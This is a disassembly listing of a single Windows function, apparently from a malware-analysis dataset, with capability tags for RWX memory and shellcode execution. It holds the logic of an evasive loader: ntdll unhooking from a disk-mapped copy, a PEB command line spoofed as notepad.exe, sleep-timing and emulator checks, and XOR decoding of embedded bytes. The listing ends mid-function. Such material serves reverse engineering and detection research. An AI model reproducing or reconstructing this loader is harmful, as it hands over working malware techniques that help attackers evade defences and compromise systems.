Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8b0], xmm6
mov dword [rbp + 0x8f0], ecx
mov qword [rbp + 0x8f8], rdx
call fcn.140002fb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x8ac], 0
jmp 0x1400014fd
call sub.msvcrt.dll_rand
imul eax, eax, 0x2fc
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006648]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400043a0
movq rax, xmm0
mov qword [rbp + 0x630], rax
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x298
jle 0x1400014bc
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x828], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
jne 0x14000158d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
je 0x140001bb8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x828]
mov r10, qword [rbp + 0x8a0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x820], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x818]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x80c], 0
mov ecx, 0x3b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x800], rax
mov ecx, 0x3b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f8], rax
mov ecx, 0x3b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x89c], 0
jmp 0x14000178f
mov dword [rbp + 0x898], 0
jmp 0x14000177b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x89c]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x800]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x898]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x89c]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x898]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x10
jle 0x1400016b4
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0xd
jle 0x1400016a5
mov dword [rbp + 0x89c], 0
jmp 0x140001887
mov dword [rbp + 0x898], 0
jmp 0x140001873
mov eax, dword [rbp + 0x89c]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x800]
add rdx, rax
mov eax, dword [rbp + 0x898]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x89c]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
add rdx, rax
mov eax, dword [rbp + 0x898]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003fa0
mov eax, dword [rbp + 0x89c]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7f0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x898]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x10
jle 0x1400017ba
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0xd
jle 0x1400017ab
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x810]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x820]
add rax, rdx
mov qword [rbp + 0x7d8], rax
mov word [rbp + 0x896], 0
jmp 0x140001ba0
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x896]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b8f
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x820]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x820]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0xa80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0xa80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x890], 0
jmp 0x140001ad0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x14f
jle 0x140001a46
mov dword [rbp + 0x890], 0
jmp 0x140001b3e
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x890]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400041c0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x14f
jle 0x140001aec
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x820]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x896]
add eax, 1
mov word [rbp + 0x896], ax
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x896], ax
jb 0x14000192f
mov ecx, 0x5190
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x88c], 0
mov dword [rbp + 0x7b4], 1
mov dword [rbp + 0x888], 0
jmp 0x140001c57
mov dword [rbp + 0x884], 0
jmp 0x140001c47
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x888]
movsxd rdx, edx
imul rcx, rdx, 0x168
mov rdx, qword [rbp + 0x7b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x884]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x59
jle 0x140001bf5
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x39
jle 0x140001be9
mov dword [rbp + 0x888], 0
jmp 0x140001cbe
mov dword [rbp + 0x884], 0
jmp 0x140001cae
mov eax, dword [rbp + 0x888]
cdqe
imul rdx, rax, 0x168
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x884]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001ca7
add dword [rbp + 0x88c], 1
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x59
jle 0x140001c78
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x39
jle 0x140001c6c
cmp dword [rbp + 0x88c], 0xa32
je 0x140001cdd
mov dword [rbp + 0x7b4], 0
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x880], 0xffffffff
mov ecx, 0xd40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0xd40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
add dword [rbp + 0x880], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x880]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x880]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x880]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400040e0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x880], 0x1a6
jle 0x140001d18
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x838]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov ecx, 0x5b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x78c], 1
mov dword [rbp + 0x878], 0
jmp 0x140001edd
mov dword [rbp + 0x874], 0
jmp 0x140001ecd
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x878]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x790]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xc
jle 0x140001e68
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x1b
jle 0x140001e5c
mov dword [rbp + 0x878], 0
jmp 0x140001f59
mov dword [rbp + 0x874], 0
jmp 0x140001f49
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x790]
add rdx, rax
mov eax, dword [rbp + 0x874]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001f42
add dword [rbp + 0x87c], 1
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xc
jle 0x140001f02
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x1b
jle 0x140001ef6
cmp dword [rbp + 0x87c], 0xb6
je 0x140001f78
mov dword [rbp + 0x78c], 0
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x798]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x780]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x77c], 0x3c1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x77c]
mov r8, qword [rbp + 0x770]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x38f
jbe 0x140002ee7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov ecx, 0x209
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x1d7
jbe 0x140002ee7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002ee7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov ecx, 0x31d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x2eb
jbe 0x140002ee7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
jne 0x140002ee7
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1bdfe80
mov ecx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002ee7
mov rax, qword [rbp + 0x718]
mov edx, 0x1bdfe80
mov rcx, rax
call fcn.140004700
mov rax, qword [rbp + 0x718]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x140002ee7
mov rax, qword [rbp + 0x708]
mov edx, 0x4f6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x704], eax
mov qword [rbp + 0x868], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x1400023cb
mov rax, qword [rbp + 0x6f8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x3000
mov r8d, 0x3c5
mov edx, 0
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140002ee7
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002ee7
mov rax, qword [rbp + 0x6e8]
mov edx, 0x492
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6e4], eax
mov dword [rbp + 0x6e0], 0x354
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov eax, dword [rbp + 0x6e0]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x322
jbe 0x140002ee7
lea rax, [rbp + 0xc0]
lea rdx, [0x140006130]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 0x512
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0x512
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x512
mov rcx, rax
call r9
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x85c], 0
movabs rax, 0x38839b47ad0681db
movabs rdx, 0xfc6f96261a817aa1
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x546600beb01ece99
movabs rdx, 0x62330c6754045d00
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xfefc94054d32ad3
movabs rdx, 0x109bc6d0398503de
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xb3a3815c109c96b3
movabs rdx, 0xd9c46c6236448687
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x226ac3f4333586bf
movabs rdx, 0x439f942df6345f76
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xa8315ced6c439f94
movabs rdx, 0x7ee6fb402cc1f6
mov qword [rbp + 0xad], rax
mov qword [rbp + 0xb5], rdx
movabs rax, 0x607229fc0ab09336
movabs rdx, 0x4d6115c60000c30d
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xcb16673824aff6eb
movabs rdx, 0x999e0af96910915a
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xb93eb5c8cceae304
movabs rdx, 0x50c253efcf46583e
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x5aa91dbf3b2cc334
movabs rdx, 0x7a536c37404c36
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
jmp 0x140002985
cmp dword [rbp + 0x860], 0x3e
jne 0x140002742
mov eax, dword [rbp + 0x864]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x860]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x864]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x860], 0
jmp 0x14000297e
mov eax, dword [rbp + 0x864]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x860]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x864]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x654], 0
mov ecx, 0x45e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0x45e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x45e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x858], 0
jmp 0x140002884
mov dword [rbp + 0x854], 0
jmp 0x140002870
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x858]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x648]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x858]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x640]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x46
jle 0x1400027c5
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x3e
jle 0x1400027b6
mov dword [rbp + 0x858], 0
jmp 0x14000293d
mov dword [rbp + 0x854], 0
jmp 0x140002929
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x648]
add rdx, rax
mov eax, dword [rbp + 0x854]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x854]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x858]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x638]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x854]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x46
jle 0x1400028ac
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x3e
jle 0x1400028a0
mov rax, qword [rbp + 0x648]
mov rcx, rax
